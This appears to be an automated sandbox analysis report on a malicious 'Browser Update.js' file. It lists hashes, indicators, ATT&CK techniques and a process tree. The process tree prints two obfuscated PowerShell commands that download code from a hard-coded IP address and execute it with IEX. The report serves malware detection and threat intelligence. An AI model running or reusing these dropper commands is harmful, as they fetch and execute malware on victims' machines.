fbecd7506cbac2937c708ec38567949f550e9f0d4a0575b157dec69d9920cf57

General

Target

Browser Update.js
Size

606KB
MD5

80f7b21c47f037118ebdce07c9ad7791
SHA1

ea386166ac8a027a7f245cbfa357320734bbcfcc
SHA256

fbecd7506cbac2937c708ec38567949f550e9f0d4a0575b157dec69d9920cf57
SHA512

b2003629653f0a4d3402b0b10654f0bfb838d56ca3168b2e5eb29bffe814554e80c9b969cc15d6ca4e4ff8dbd223e6696a9db0d7fd0c167df412fc76a3c9d469
SSDEEP

1536:5+BEG+BEVB/+BEVB/+BEVB2BEhBEZBEhBEZBEhBEZBEhBENBEFEMBEFEMBEFEMB4:n

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://193.233.132.136/a/z.png

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://193.233.132.136/a/s.png

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

2 772 powershell.exe
3 2720 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

772 powershell.exe
2720 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 772 powershell.exe
Token: SeDebugPrivilege 2720 powershell.exe

flow	pid	process
2	772	powershell.exe
3	2720	powershell.exe

pid	process
772	powershell.exe
2720	powershell.exe

description	pid	process
Token: SeDebugPrivilege	772	powershell.exe
Token: SeDebugPrivilege	2720	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

wscript.exe

description	pid	process	target process
PID 2428 wrote to memory of 2720	2428	wscript.exe	powershell.exe
PID 2428 wrote to memory of 2720	2428	wscript.exe	powershell.exe
PID 2428 wrote to memory of 2720	2428	wscript.exe	powershell.exe
PID 2428 wrote to memory of 772	2428	wscript.exe	powershell.exe
PID 2428 wrote to memory of 772	2428	wscript.exe	powershell.exe
PID 2428 wrote to memory of 772	2428	wscript.exe	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\Browser Update.js"
1⤵
- Suspicious use of WriteProcessMemory
PID:2428

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://193.233.132.136/a/z.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2720

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://193.233.132.136/a/s.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:772

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
8009c62f8f9fb51677b950c4509fab6c

SHA1
cdbbea1485ae74c36eda08d9907ea887e9d65491

SHA256
9b161eb0daa9d21b33556ec1c661d75f8077c03d116951df2665fdce43fbc1d6

SHA512
c6b10ffac2415fa71585e0d1dc87a5eaeba9e94a17ff355cebf9c310780d390e289c8858aaaeeaf2dcf763513464180519c9f168f2a2b193ff3d7f1151db83fd

Download Submit
memory/772-11-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/772-33-0x0000000002950000-0x0000000002962000-memory.dmp

Filesize
72KB

Download
memory/772-23-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/772-12-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/772-32-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/772-35-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/772-30-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/772-29-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/772-17-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/772-27-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/772-24-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/772-20-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2720-14-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/2720-19-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/2720-25-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2720-26-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/2720-18-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/2720-28-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/2720-16-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/2720-15-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2720-31-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/2720-13-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2720-34-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2720-9-0x000000001B490000-0x000000001B772000-memory.dmp

Filesize
2.9MB

Download
memory/2720-10-0x0000000002460000-0x0000000002468000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads